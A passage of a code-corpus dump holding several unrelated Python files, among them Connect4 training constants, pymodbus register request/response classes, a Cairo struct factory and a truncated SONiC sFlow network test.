sim_erased_articles, processed_clusters\r\n\r\n\r\n    def erase_similar_and_duplicated(self, dataset:Dataset, filtering_thres=0.35):\r\n        self.model = SentenceTransformer(self.model_path)\r\n\r\n        print('\\nErasing similar news...')\r\n        start_time = time.time()\r\n\r\n        datelist = list(set(dataset['datetime']))\r\n        grouped_index_dict = {x:[] for x in datelist}\r\n        for n, data in enumerate(dataset):\r\n            grouped_index_dict[data['datetime']].append(n)\r\n\r\n        dummy_features = {x:[] for x in dataset.features.copy()}\r\n        res_dataset = Dataset.from_dict(dummy_features)\r\n\r\n        print('==Deep erasing==')\r\n        from datasets import concatenate_datasets, disable_progress_bar\r\n        for key in tqdm(grouped_index_dict.keys()):\r\n            disable_progress_bar()\r\n            grouped_dataset = dataset.select(grouped_index_dict[key])\r\n            if len(grouped_index_dict[key])<2:\r\n                res_dataset = concatenate_datasets([res_dataset, grouped_dataset])\r\n            else:\r\n                dup_erased_article = self.erase_duplicated_single_row(grouped_dataset)\r\n                sim_erased_articles, duplicated_clusters = self.erase_similar_single_row(dup_erased_article, threshold=filtering_thres)\r\n                res_dataset = concatenate_datasets([res_dataset, sim_erased_articles])\r\n\r\n        return self.save(res_dataset)","repo_name":"comchobo/text_to_triplet","sub_path":"Filter_N_Translate/DuplicateNewsDetector.py","file_name":"DuplicateNewsDetector.py","file_ext":"py","file_size_in_byte":3742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"18721898157","text":"#!/usr/bin/env python3\n\nprint('Content-type: text/html')\nprint()\n\nprimes = [2, *range(3, 10001, 2)]\n\nfor div in primes:\n  idx = div + 1\n\n  while(idx < len(primes)):\n    if (primes[idx] % div == 0):\n      del primes[idx]\n\n    idx += 1\n\nprint(primes)\n","repo_name":"ahmadnaser/completewebdeveloperarabiccourse","sub_path":"13-Python/challenge2.py","file_name":"challenge2.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"39355013350","text":"### General\nGAME         = 'Connect4'\nVERSION_NAME = 'Connect4-V1'\nWARM_START   = False\n\n### Network\nNUM_FILTERS    = 92\nFILTER_SIZE    = [4,4]\nNUM_RES_BLOCKS = 2\nHIDDEN_SIZE    = 128  # For value head\n\n### MCTS / Self-play\nGAMES_PER_CYCLE         = 64\nSTEPS_PER_MOVE          = 128\nEXPLORATION_TEMPERATURE = 1          # Initial temperature for MCTS\nFINAL_TEMPERATURE       = 0.1\nEXPLORATION_THRESHOLD   = 10         # Temperature set to above after this many moves\nRANDOM_THRESHOLD        = 4          # First N moves are played randomly\nNOISE_TYPE              = \"constant\"\nNOISE_VALUE             = 0.3\nEXPLORATION_CONSTANT    = 1          # Weight for P in MCTS\nEPSILON                 = 10 ** -6   # Small constant to avoid division by 0\nVERBOSE_MCTS            = True\n\n### Record\nMAX_RECORD_SIZE = 100000\nMIN_RECORD_SIZE = 50000\nCULL_THRESHOLD  = 4  # Positions with very low depth are omitted from record\nRECORD_HISTORY  = False\nRECORD_MCTS     = True\n\n### Training\nALPHA                   = 0.0001\nLEARNING_RATE           = 0.005\nBATCH_SIZE              = 256\nBATCHES_PER_CYCLE       = 30\nMAX_EPOCHS_PER_CYCLE    = 1\nVERBOSE_TRAINING        = False\nMETRIC_REPORT_FREQUENCY = 1\nSAVE_FREQUENCY          = 20\nREFERENCE_AVAILABLE     = False\n","repo_name":"TimothyPollio/AI_Zero","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"24358419370","text":"import os\nimport pandas as pd\nimport numpy as np\nimport json\n\nif __name__ == '__main__':\n    type = \"trained\"\n    base_path = \"results/\" + type\n    folders = os.listdir(base_path)\n    output = {\n        \"noise\": [],\n        \"train_loss\": [],\n        \"train_loss_std\": [],\n        \"val_loss\": [],\n        \"val_loss_std\": [],\n        \"val_f1\": [],\n        \"val_f1_std\": [],\n        \"test_precision\": [],\n        \"test_precision_std\": [],\n        \"test_recall\": [],\n        \"test_recall_std\": [],\n        \"test_f1\": [],\n        \"test_f1_std\": [],\n        \"test_precision_relaxed\": [],\n        \"test_precision_relaxed_std\": [],\n        \"test_recall_relaxed\": [],\n        \"test_recall_relaxed_std\": [],\n        \"test_f1_relaxed\": [],\n        \"test_f1_relaxed_std\": [],\n        \"test_specificity\": [],\n        'accuracy': [],\n    }\n    for folder in sorted(folders):\n        path = os.path.join(base_path, folder)\n        noise = folder.split(\"_\")[1]\n        models = os.listdir(path)\n\n        noise_data = {\n            \"noise\": noise,\n            \"train_loss\": [],\n            \"val_loss\": [],\n            \"val_f1\": [],\n            \"test_precision\": [],\n            \"test_recall\": [],\n            \"test_f1\": [],\n            \"test_precision_relaxed\": [],\n            \"test_recall_relaxed\": [],\n            \"test_f1_relaxed\": [],\n            \"test_specificity\": [],\n            'accuracy': [],\n        }\n\n        for model in models:\n            try:\n                model_path = os.path.join(path, model)\n\n                # Get training metrics\n                data = json.loads(open(os.path.join(model_path, \"training_metrics.txt\")).read())\n                noise_data[\"train_loss\"].append(data[\"loss\"])\n                noise_data[\"val_loss\"].append(data[\"val_loss\"])\n\n                # Get validation metrics\n                data = json.loads(open(os.path.join(model_path, \"test_metrics.txt\")).read())\n                noise_data[\"val_f1\"].append(data[\"f1\"])\n\n                # Get test metrics\n                data = json.loads(open(os.path.join(model_path, \"output_last/eval_results.txt\")).read())\n                noise_data[\"test_precision\"].append(data[\"precision\"])\n                noise_data[\"test_recall\"].append(data[\"recall\"])\n                noise_data[\"test_f1\"].append(data[\"f1\"])\n                noise_data[\"test_precision_relaxed\"].append(data[\"overall_precision_relaxed\"])\n                noise_data[\"test_recall_relaxed\"].append(data[\"overall_recall_relaxed\"])\n                noise_data[\"test_f1_relaxed\"].append(data[\"overall_f1_relaxed\"])\n                noise_data[\"test_specificity\"].append(data[\"specificity\"])\n                noise_data[\"accuracy\"].append(data[\"accuracy\"])\n            except:\n                pass\n\n        if not noise_data[\"test_f1\"]:\n            continue\n\n        # Calculate average and standard deviation\n        output[\"noise\"].append(noise_data[\"noise\"])\n        output[\"train_loss\"].append(np.mean(noise_data[\"train_loss\"]))\n        output[\"train_loss_std\"].append(np.std(noise_data[\"train_loss\"]))\n        output[\"val_loss\"].append(np.mean(noise_data[\"val_loss\"]))\n        output[\"val_loss_std\"].append(np.std(noise_data[\"val_loss\"]))\n        output[\"val_f1\"].append(np.mean(noise_data[\"val_f1\"]))\n        output[\"val_f1_std\"].append(np.std(noise_data[\"val_f1\"]))\n        output[\"test_precision\"].append(np.mean(noise_data[\"test_precision\"]))\n        output[\"test_precision_std\"].append(np.std(noise_data[\"test_precision\"]))\n        output[\"test_recall\"].append(np.mean(noise_data[\"test_recall\"]))\n        output[\"test_recall_std\"].append(np.std(noise_data[\"test_recall\"]))\n        output[\"test_f1\"].append(np.mean(noise_data[\"test_f1\"]))\n        output[\"test_f1_std\"].append(np.std(noise_data[\"test_f1\"]))\n        output[\"test_precision_relaxed\"].append(np.mean(noise_data[\"test_precision_relaxed\"]))\n        output[\"test_precision_relaxed_std\"].append(np.std(noise_data[\"test_precision_relaxed\"]))\n        output[\"test_recall_relaxed\"].append(np.mean(noise_data[\"test_recall_relaxed\"]))\n        output[\"test_recall_relaxed_std\"].append(np.std(noise_data[\"test_recall_relaxed\"]))\n        output[\"test_f1_relaxed\"].append(np.mean(noise_data[\"test_f1_relaxed\"]))\n        output[\"test_f1_relaxed_std\"].append(np.std(noise_data[\"test_f1_relaxed\"]))\n        output[\"test_specificity\"].append(np.mean(noise_data[\"test_specificity\"]))\n        output['accuracy'].append(np.mean(noise_data['accuracy']))\n    df = pd.DataFrame(output)\n    df.to_excel(type + \"2.xlsx\", index=False)\n","repo_name":"gabrielandrade2/VanillaNER","sub_path":"util/extract_results/extract_results.py","file_name":"extract_results.py","file_ext":"py","file_size_in_byte":4515,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"24727027339","text":"'''\nRegister Reading Request/Response\n---------------------------------\n'''\n\nimport struct\nfrom pymodbus.pdu import ModbusRequest\nfrom pymodbus.pdu import ModbusResponse\nfrom pymodbus.pdu import ModbusExceptions as merror\n\nclass ReadRegistersRequestBase(ModbusRequest):\n    '''\n    Base class for reading a modbus register\n    '''\n\n    def __init__(self, address, count):\n        ''' Initializes a new instance\n\n        :param address: The address to start the read from\n        :param count: The number of registers to read\n        '''\n        ModbusRequest.__init__(self)\n        self.address = address\n        self.count = count\n\n    def encode(self):\n        ''' Encodes the request packet\n\n        :return: The encoded packet\n        '''\n        return struct.pack('>HH', self.address, self.count)\n\n    def decode(self, data):\n        ''' Decode a register request packet\n\n        :param data: The request to decode\n        '''\n        self.address, self.count = struct.unpack('>HH', data)\n\n    def __str__(self):\n        ''' Returns a string representation of the instance\n\n        :returns: A string representation of the instance\n        '''\n        return \"ReadRegisterRequest (%d,%d)\" % (self.address, self.count)\n\nclass ReadRegistersResponseBase(ModbusResponse):\n    '''\n    Base class for responsing to a modbus register read\n    '''\n\n    def __init__(self, values):\n        ''' Initializes a new instance\n\n        :param values: The values to write to\n        '''\n        ModbusResponse.__init__(self)\n        self.registers = values if values != None else []\n\n    def encode(self):\n        ''' Encodes the response packet\n\n        :returns: The encoded packet\n        '''\n        result = chr(len(self.registers) * 2)\n        for register in self.registers:\n            result += struct.pack('>H', register)\n        return result\n\n    def decode(self, data):\n        ''' Decode a register response packet\n\n        :param data: The request to decode\n        '''\n        byte_count = ord(data[0])\n        self.registers = []\n        for i in range(1, byte_count + 1, 2):\n            self.registers.append(struct.unpack('>H', data[i:i+2])[0])\n\n    def getRegValue(self, index):\n        ''' Get the requested register\n\n        :param index: The indexed register to retrieve\n        :returns: The request register\n        '''\n        return self.registers[index]\n\n    def __str__(self):\n        ''' Returns a string representation of the instance\n\n        :returns: A string representation of the instance\n        '''\n        return \"ReadRegisterResponse \", self.registers\n\n\nclass ReadHoldingRegistersRequest(ReadRegistersRequestBase):\n    '''\n    This function code is used to read the contents of a contiguous block\n    of holding registers in a remote device. The Request PDU specifies the\n    starting register address and the number of registers. In the PDU\n    Registers are addressed starting at zero. Therefore registers numbered\n    1-16 are addressed as 0-15.\n    '''\n    function_code = 3\n\n    def __init__(self, address=None, count=None):\n        ''' Initializes a new instance of the request\n\n        :param address: The starting address to read from\n        :param count: The number of registers to read from address\n        '''\n        ReadRegistersRequestBase.__init__(self, address, count)\n\n    def execute(self, context):\n        ''' Run a read holding request against a datastore\n\n        :param context: The datastore to request from\n        :returns: An initialized response, exception message otherwise\n        '''\n        if not (1 <= self.count <= 0x7d):\n            return self.doException(merror.IllegalValue)\n        if not context.validate(self.function_code, self.address, self.count):\n            return self.doException(merror.IllegalAddress)\n        values = context.getValues(self.function_code, self.address, self.count)\n        return ReadHoldingRegistersResponse(values)\n\nclass ReadHoldingRegistersResponse(ReadRegistersResponseBase):\n    '''\n    This function code is used to read the contents of a contiguous block\n    of holding registers in a remote device. The Request PDU specifies the\n    starting register address and the number of registers. In the PDU\n    Registers are addressed starting at zero. Therefore registers numbered\n    1-16 are addressed as 0-15.\n    '''\n    function_code = 3\n\n    def __init__(self, values=None):\n        ''' Initializes a new response instance\n\n        :param values: The resulting register values\n        '''\n        ReadRegistersResponseBase.__init__(self, values)\n\nclass ReadInputRegistersRequest(ReadRegistersRequestBase):\n    '''\n    This function code is used to read from 1 to approx. 125 contiguous\n    input registers in a remote device. The Request PDU specifies the\n    starting register address and the number of registers. In the PDU\n    Registers are addressed starting at zero. Therefore input registers\n    numbered 1-16 are addressed as 0-15.\n    '''\n    function_code = 4\n\n    def __init__(self, address=None, count=None):\n        ''' Initializes a new instance of the request\n\n        :param address: The starting address to read from\n        :param count: The number of registers to read from address\n        '''\n        ReadRegistersRequestBase.__init__(self, address, count)\n\n    def execute(self, context):\n        ''' Run a read input request against a datastore\n\n        :param context: The datastore to request from\n        :returns: An initialized response, exception message otherwise\n        '''\n        if not (1 <= self.count <= 0x7d):\n            return self.doException(merror.IllegalValue)\n        if not context.validate(self.function_code, self.address, self.count):\n            return self.doException(merror.IllegalAddress)\n        values = context.getValues(self.function_code, self.address, self.count)\n        return ReadInputRegistersResponse(values)\n\nclass ReadInputRegistersResponse(ReadRegistersResponseBase):\n    '''\n    This function code is used to read from 1 to approx. 125 contiguous\n    input registers in a remote device. The Request PDU specifies the\n    starting register address and the number of registers. In the PDU\n    Registers are addressed starting at zero. Therefore input registers\n    numbered 1-16 are addressed as 0-15.\n    '''\n    function_code = 4\n\n    def __init__(self, values=None):\n        ''' Initializes a new response instance\n\n        :param values: The resulting register values\n        '''\n        ReadRegistersResponseBase.__init__(self, values)\n\nclass ReadWriteMultipleRegistersRequest(ModbusRequest):\n    '''\n    This function code performs a combination of one read operation and one\n    write operation in a single MODBUS transaction. The write\n    operation is performed before the read.\n\n    Holding registers are addressed starting at zero. Therefore holding\n    registers 1-16 are addressed in the PDU as 0-15.\n\n    The request specifies the starting address and number of holding\n    registers to be read as well as the starting address, number of holding\n    registers, and the data to be written. The byte count specifies the\n    number of bytes to follow in the write data field.\"\n    '''\n    function_code = 23\n\n    def __init__(self, raddress=None, rcount=None, waddress=None, wcount=None):\n        ''' Initializes a new request message\n\n        :param raddress: The address to start reading from\n        :param rcount: The number of registers to read from address\n        :param waddress: The address to start writing to\n        :param wcount: The number of registers to write from address\n        '''\n        ModbusRequest.__init__(self)\n        self.raddress = raddress\n        self.rcount   = rcount\n        self.waddress = waddress\n        self.wbyte_count = 0\n        if wcount != None and wcount > 0:\n            self.wregisters = [0] * wcount\n        else: self.wregisters = []\n\n    def encode(self):\n        ''' Encodes the request packet\n\n        :returns: The encoded packet\n        '''\n        wcount = len(self.wregisters)\n        result = struct.pack('>HHHHB',\n                self.raddress, self.rcount, \\\n                self.waddress, wcount, \\\n                wcount*2)\n        for register in self.wregisters:\n            result += struct.pack('>H', register)\n        return result\n\n    def decode(self, data):\n        ''' Decode the register request packet\n\n        :param data: The request to decode\n        '''\n        self.raddress, self.rcount, \\\n        self.waddress, wcount, \\\n        self.wbyte_count = struct.unpack('>HHHHB', data[:9])\n        self.wregisters = []\n        for i in range(9, self.wbyte_count+9, 2):\n            self.wregisters.append(struct.unpack('>H', data[i:i+2])[0])\n\n    def execute(self, context):\n        ''' Run a write single register request against a datastore\n\n        :param context: The datastore to request from\n        :returns: An initialized response, exception message otherwise\n        '''\n        wcount = len(self.wregisters)\n        if not (1 <= self.rcount <= 0x07d):\n            return self.doException(merror.IllegalValue)\n        if not (1 <= wcount <= 0x079):\n            return self.doException(merror.IllegalValue)\n        if (self.wbyte_count != wcount * 2):\n            return self.doException(merror.IllegalValue)\n        if not context.validate(self.function_code, self.waddress, wcount):\n            return self.doException(merror.IllegalAddress)\n        if not context.validate(self.function_code, self.raddress, self.rcount):\n            return self.doException(merror.IllegalAddress)\n        context.setValues(self.function_code, self.waddress, self.wregisters)\n        rvalues = context.getValues(self.function_code, self.raddress, self.rcount)\n        return ReadWriteMultipleRegistersResponse(rvalues)\n\n    def __str__(self):\n        ''' Returns a string representation of the instance\n\n        :returns: A string representation of the instance\n        '''\n        return \"ReadWriteNRegisterRequest R(%d,%d) W(%d,%d)\" % (self.raddress,\n                self.rcount, self.waddress, self.wcount)\n\nclass ReadWriteMultipleRegistersResponse(ModbusResponse):\n    '''\n    The normal response contains the data from the group of registers that\n    were read. The byte count field specifies the quantity of bytes to\n    follow in the read data field.\n    '''\n    function_code = 23\n\n    def __init__(self, values=None):\n        ''' Initializes a new instance\n\n        :param values: The register values to write\n        '''\n        ModbusResponse.__init__(self)\n        self.registers = values if values != None else []\n\n    def encode(self):\n        ''' Encodes the response packet\n\n        :returns: The encoded packet\n        '''\n        result = chr(len(self.registers)*2)\n        for register in self.registers:\n            result += struct.pack('>H', register)\n        return result\n\n    def decode(self, data):\n        ''' Decode the register response packet\n\n        :param data: The response to decode\n        '''\n        bytes = ord(data[0])\n        for i in range(1, bytes, 2):\n            self.registers.append(struct.unpack('>H', data[i:i+2])[0])\n\n    def __str__(self):\n        ''' Returns a string representation of the instance\n\n        :returns: A string representation of the instance\n        '''\n        return \"ReadWriteNRegisterResponse\", self.registers\n\n#---------------------------------------------------------------------------# \n# Exported symbols\n#---------------------------------------------------------------------------# \n__all__ = [\n    \"ReadHoldingRegistersRequest\", \"ReadHoldingRegistersResponse\",\n    \"ReadInputRegistersRequest\", \"ReadInputRegistersResponse\",\n    \"ReadWriteMultipleRegistersRequest\", \"ReadWriteMultipleRegistersResponse\",\n]\n","repo_name":"D3f0/txscada","sub_path":"src/brainstorming/tornado/modbus/pymodbus/register_read_message.py","file_name":"register_read_message.py","file_ext":"py","file_size_in_byte":11733,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"51"}
+{"seq_id":"29364041189","text":"from typing import List, MutableMapping, NamedTuple, Optional, Union\n\nfrom starkware.cairo.lang.compiler.ast.cairo_types import (\n    CairoType,\n    TypeCodeoffset,\n    TypeFelt,\n    TypePointer,\n    TypeStruct,\n    TypeTuple,\n)\nfrom starkware.cairo.lang.compiler.ast.code_elements import CodeElementFunction\nfrom starkware.cairo.lang.compiler.identifier_definition import StructDefinition\nfrom starkware.cairo.lang.compiler.identifier_manager import IdentifierManager\nfrom starkware.cairo.lang.compiler.identifier_utils import (\n    get_struct_definition,\n    get_type_definition,\n)\nfrom starkware.cairo.lang.compiler.program import Program\nfrom starkware.cairo.lang.compiler.scoped_name import ScopedName\nfrom starkware.cairo.lang.vm.relocatable import MaybeRelocatable\nfrom starkware.python.utils import WriteOnceDict\n\n\nclass CairoStructFactory:\n    def __init__(\n        self,\n        identifiers: IdentifierManager,\n        main_scope: Optional[ScopedName] = None,\n        additional_imports: Optional[List[str]] = None,\n    ):\n        \"\"\"\n        Creates a CairoStructFactory that converts Cairo structs to python namedtuples.\n\n        identifiers - an identifier manager holding the structs.\n        additional_imports - An optional list of fully qualified names of structs to preload.\n          Useful for importing absolute paths, rather than relative.\n        \"\"\"\n        self.identifiers = identifiers\n        self.main_scopes = [main_scope] if main_scope is not None else []\n\n        self.resolved_identifiers: MutableMapping[ScopedName, ScopedName] = WriteOnceDict()\n        if additional_imports is not None:\n            for identifier_path in additional_imports:\n                scope_name = ScopedName.from_string(identifier_path)\n                # Call get_struct_definition to make sure scope_name is a struct.\n                get_struct_definition(struct_name=scope_name, identifier_manager=identifiers)\n                self.resolved_identifiers[scope_name[-1:]] = scope_name\n\n    @classmethod\n    def from_program(cls, program: Program, additional_imports: Optional[List[str]] = None):\n        return cls(\n            identifiers=program.identifiers,\n            additional_imports=additional_imports,\n            main_scope=program.main_scope,\n        )\n\n    def _get_full_name(self, name: ScopedName):\n        full_name = self.resolved_identifiers.get(name)\n        if full_name is not None:\n            return full_name\n\n        return self.identifiers.search(\n            accessible_scopes=[*self.main_scopes, ScopedName()], name=name\n        ).get_canonical_name()\n\n    def get_struct_definition(self, name: ScopedName) -> StructDefinition:\n        \"\"\"\n        Returns the struct definition of the given struct.\n        \"\"\"\n        full_name = self._get_full_name(name)\n        return get_struct_definition(full_name, self.identifiers)\n\n    def build_struct(self, name: ScopedName):\n        \"\"\"\n        Builds and returns namedtuple from a Cairo struct.\n        \"\"\"\n        struct_def = self.get_struct_definition(name=name)\n\n        typed_fields = [\n            (member_name, type(member_def.cairo_type))\n            for member_name, member_def in struct_def.members.items()\n        ]\n\n        return NamedTuple(struct_def.full_name.path[-1], typed_fields)\n\n    def build_func_args(self, func: ScopedName):\n        \"\"\"\n        Builds a namedtuple that contains both the explicit and the implicit arguments of 'func'.\n        \"\"\"\n        full_name = self._get_full_name(func)\n\n        implict_args = get_struct_definition(\n            full_name + CodeElementFunction.IMPLICIT_ARGUMENT_SCOPE, self.identifiers\n        ).members\n        args = get_struct_definition(\n            full_name + CodeElementFunction.ARGUMENT_SCOPE, self.identifiers\n        ).members\n\n        typed_fields = [\n            (member_name, type(member_def.cairo_type))\n            for member_name, member_def in {**implict_args, **args}.items()\n        ]\n\n        return NamedTuple(f\"{func[-1:]}_full_args\", typed_fields)\n\n    def size_of(self, typ: CairoType) -> int:\n        \"\"\"\n        Returns the total size (in felts) of the given type. Pointer types count as one felt.\n        \"\"\"\n        size = 0\n        if isinstance(typ, TypeStruct):\n            struct_def = get_struct_definition(\n                struct_name=typ.scope, identifier_manager=self.identifiers\n            )\n            size = struct_def.size\n        elif isinstance(typ, TypeTuple):\n            for item in typ.members:\n                size += self.size_of(typ=item.typ)\n        else:\n            assert isinstance(\n                typ, (TypeFelt, TypeCodeoffset, TypePointer)\n            ), f\"Unsupported Cairo type {typ}.\"\n            size = 1\n\n        return size\n\n    def get_explicit_return_values_length(self, func: ScopedName) -> int:\n        \"\"\"\n        Returns the length of the explicit return values of a function\n        \"\"\"\n        full_name = self._get_full_name(func)\n        type_def = get_type_definition(\n            full_name + CodeElementFunction.RETURN_SCOPE, self.identifiers\n        )\n        return self.size_of(typ=type_def.cairo_type)\n\n    def get_implicit_args_length(self, func: ScopedName) -> int:\n        \"\"\"\n        Returns the length of the implicit arguments of a function\n        \"\"\"\n        full_name = self._get_full_name(func)\n        struct_def = get_struct_definition(\n            full_name + CodeElementFunction.IMPLICIT_ARGUMENT_SCOPE, self.identifiers\n        )\n        return struct_def.size\n\n    @property\n    def structs(self):\n        \"\"\"\n        Dynamic namespace of all available structs. For example, to get the namedtuple of\n        a.b.MyStruct, use cairo_struct_factory.struct.a.b.MyStruct.\n        \"\"\"\n        return CairoStructProxy(self, ScopedName())\n\n    def from_type_and_ptr(\n        self, cairo_type: CairoType, memory, addr\n    ) -> Union[NamedTuple, MaybeRelocatable]:\n        if isinstance(cairo_type, TypeStruct):\n            return CairoStructProxy(factory=self, path=cairo_type.scope).from_ptr(memory, addr)\n\n        assert isinstance(\n            cairo_type, (TypeFelt, TypeCodeoffset, TypePointer)\n        ), f\"Unsupported Cairo type {cairo_type}.\"\n        return memory[addr]\n\n\nclass CairoStructProxy:\n    \"\"\"\n    Helper class for CairoStructFactory. See CairoStructFactory.structs.\n    \"\"\"\n\n    def __init__(self, factory: CairoStructFactory, path: ScopedName):\n        self.factory = factory\n        self.path = path\n\n    def __getattr__(self, name: str) -> \"CairoStructProxy\":\n        return CairoStructProxy(self.factory, self.path + name)\n\n    def build(self):\n        return self.factory.build_struct(self.path)\n\n    def __call__(self, *args, **kwargs):\n        return self.build()(*args, **kwargs)\n\n    @property\n    def struct_definition_(self) -> StructDefinition:\n        return self.factory.get_struct_definition(self.path)\n\n    @property\n    def size(self):\n        return self.struct_definition_.size\n\n    def from_ptr(self, memory, addr):\n        \"\"\"\n        Interprets addr as a pointer to a struct of type path and creates the corresponding\n        namedtuple instance.\n        \"\"\"\n        named_tuple = self.build()\n        return named_tuple(\n            **{\n                name: self.factory.from_type_and_ptr(\n                    member_def.cairo_type,\n                    memory=memory,\n                    addr=addr + member_def.offset,\n                )\n                for name, member_def in self.struct_definition_.members.items()\n            }\n        )\n","repo_name":"starkware-libs/cairo-lang","sub_path":"src/starkware/cairo/common/structs.py","file_name":"structs.py","file_ext":"py","file_size_in_byte":7522,"program_lang":"python","lang":"en","doc_type":"code","stars":1280,"dataset":"github-code","pt":"51"}
+{"seq_id":"3911081044","text":"\"\"\"\n    Tests the sFlow feature in SONiC.\n\n    Parameters:\n        --enable_sflow_feature: Enable sFlow feature on DUT. Default is disabled\n\"\"\"\n\nimport pytest\nimport logging\nimport time\nimport json\nimport re\n\nfrom tests.common.fixtures.ptfhost_utils import copy_ptftests_directory     # noqa F401\nfrom tests.common.fixtures.ptfhost_utils import copy_arp_responder_py       # noqa F401\nfrom tests.ptf_runner import ptf_runner\nfrom tests.common import reboot\nfrom tests.common import config_reload\nfrom tests.common.utilities import wait_until\n\npytestmark = [\n    pytest.mark.topology('t0', 'm0', 'mx')\n]\n\nlogger = logging.getLogger(__name__)\n\n\n@pytest.fixture(scope='module', autouse=True)\ndef setup(duthosts, rand_one_dut_hostname, ptfhost, tbinfo, config_sflow_feature):\n    duthost = duthosts[rand_one_dut_hostname]\n    global var\n    var = {}\n\n    feature_status, _ = duthost.get_feature_status()\n    if 'sflow' not in feature_status or feature_status['sflow'] == 'disabled':\n        pytest.skip(\"sflow feature is not eanbled\")\n\n    mg_facts = duthost.get_extended_minigraph_facts(tbinfo)\n    var['router_mac'] = duthost.facts['router_mac']\n    vlan_dict = mg_facts['minigraph_vlans']\n    var['test_ports'] = []\n    var['ptf_test_indices'] = []\n    var['sflow_ports'] = {}\n\n    for i in range(0, 3, 1):\n        var['test_ports'].append(vlan_dict['Vlan1000']['members'][i])\n        var['ptf_test_indices'].append(\n            mg_facts['minigraph_ptf_indices'][vlan_dict['Vlan1000']['members'][i]])\n\n    collector_ips = ['20.1.1.2', '30.1.1.2']\n    var['dut_intf_ips'] = ['20.1.1.1', '30.1.1.1']\n    var['mgmt_ip'] = mg_facts['minigraph_mgmt_interface']['addr']\n    var['lo_ip'] = mg_facts['minigraph_lo_interfaces'][0]['addr']\n\n    config_dut_ports(duthost, var['test_ports'][0:2], vlan=1000)\n\n    for port_channel, interfaces in list(mg_facts['minigraph_portchannels'].items()):\n        port = interfaces['members'][0]\n        var['sflow_ports'][port] = {}\n        var['sflow_ports'][port]['ifindex'] = get_ifindex(duthost, port)\n        var['sflow_ports'][port]['port_index'] = get_port_index(duthost, port)\n        var['sflow_ports'][port]['ptf_indices'] = mg_facts['minigraph_ptf_indices'][interfaces['members'][0]]\n        var['sflow_ports'][port]['sample_rate'] = 512\n    var['portmap'] = json.dumps(var['sflow_ports'])\n\n    udp_port = 6343\n    for i in range(0, 2, 1):\n        var['collector%s' % i] = {}\n        var['collector%s' % i]['name'] = 'collector%s' % i\n        var['collector%s' % i]['ip_addr'] = collector_ips[i]\n        var['collector%s' % i]['port'] = udp_port\n        udp_port += 1\n    collector_ports = var['ptf_test_indices'][0:2]\n    setup_ptf(ptfhost, collector_ports)\n\n    # -------- Testing ----------\n    yield\n    # -------- Teardown ----------\n    config_reload(duthost, config_source='minigraph', wait=120)\n\n# ----------------------------------------------------------------------------------\n\n\ndef setup_ptf(ptfhost, collector_ports):\n    extra_vars = {'arp_responder_args': '--conf /tmp/sflow_arpresponder.conf'}\n    ptfhost.host.options['variable_manager'].extra_vars.update(extra_vars)\n    ptfhost.template(src=\"../ansible/roles/test/templates/arp_responder.conf.j2\",\n                     dest=\"/etc/supervisor/conf.d/arp_responder.conf\")\n    ptfhost.shell('supervisorctl reread')\n    ptfhost.shell('supervisorctl update')\n    for i in range(len(collector_ports)):\n        ptfhost.shell('ifconfig eth%s %s/24' %\n                      (collector_ports[i], var['collector%s' % i]['ip_addr']))\n    ptfhost.copy(content=var['portmap'], dest=\"/tmp/sflow_ports.json\")\n\n# ----------------------------------------------------------------------------------\n\n\ndef config_dut_ports(duthost, ports, vlan):\n    # https://github.com/sonic-net/sonic-buildimage/issues/2665\n    # Introducing config vlan member add and remove for the test port due to above mentioned PR.\n    # Even though port is deleted from vlan , the port shows its master as Bridge upon assigning ip address.\n    # Hence config reload is done as workaround. ##FIXME\n    for i in range(len(ports)):\n        duthost.command('config vlan member del %s %s' % (vlan, ports[i]))\n        duthost.command('config interface ip add %s %s/24' %\n                        (ports[i], var['dut_intf_ips'][i]))\n    duthost.command('config save -y')\n    config_reload(duthost, config_source='config_db', wait=120)\n    time.sleep(5)\n\n# ----------------------------------------------------------------------------------\n\n\ndef get_ifindex(duthost, port):\n    ifindex = duthost.shell('cat /sys/class/net/%s/ifindex' % port)['stdout']\n    return ifindex\n\n# ----------------------------------------------------------------------------------\n\n\ndef get_port_index(duthost, port):\n    py_version = 'python' if '201911' in duthost.os_version else 'python3'\n\n    # if sonic_py_common.port_util exist, use port_util from sonic_py_common.\n    util_lib = \"swsssdk\"\n    cmd = \"{} -c \\\"import pkgutil; print(pkgutil.find_loader(\\'sonic_py_common.port_util\\'))\\\"\".format(\n        py_version)\n    class_exist = duthost.shell(cmd)['stdout']\n    if class_exist != \"None\":\n        util_lib = \"sonic_py_common\"\n\n    cmd = \"{} -c \\\"from {} import port_util; print(port_util.get_index_from_str(\\'{}\\'))\\\"\"\n    index = duthost.shell(cmd.format(py_version, util_lib, port))['stdout']\n    return index\n\n# ----------------------------------------------------------------------------------\n\n\n@pytest.fixture\ndef config_sflow_agent(duthosts, rand_one_dut_hostname):\n    # NOTE: When no agent-id is set, hsflowd chooses the agent-id based on simple heuristics\n    # Hence, this fixture to keep the test stable\n    duthost = duthosts[rand_one_dut_hostname]\n    duthost.shell(\"config sflow agent-id del\")  # Remove any existing agent-id\n    duthost.shell(\"config sflow agent-id add Loopback0\")\n    yield\n    duthost.shell(\"config sflow agent-id del\")\n\n# ----------------------------------------------------------------------------------\n\n\ndef config_sflow(duthost, sflow_status='enable'):\n    duthost.shell('config sflow %s' % sflow_status)\n    time.sleep(2)\n# ----------------------------------------------------------------------------------\n\n\n@pytest.fixture(scope='module')\ndef config_sflow_feature(request, duthost):\n    # Enable sFlow feature on DUT if enable_sflow_feature argument was passed\n    if request.config.getoption(\"--enable_sflow_feature\"):\n        feature_status, _ = duthost.get_feature_status()\n        if feature_status['sflow'] == 'disabled':\n            duthost.shell(\"sudo config feature state sflow enabled\")\n            time.sleep(2)\n# ----------------------------------------------------------------------------------\n\n\ndef config_sflow_interfaces(duthost, intf, **kwargs):\n\n    if 'status' in kwargs:\n        duthost.shell('config sflow interface %s %s' %\n                      (kwargs['status'], intf))\n    if 'sample_rate' in kwargs:\n        duthost.shell('config sflow interface sample-rate %s %s' %\n                      (intf, 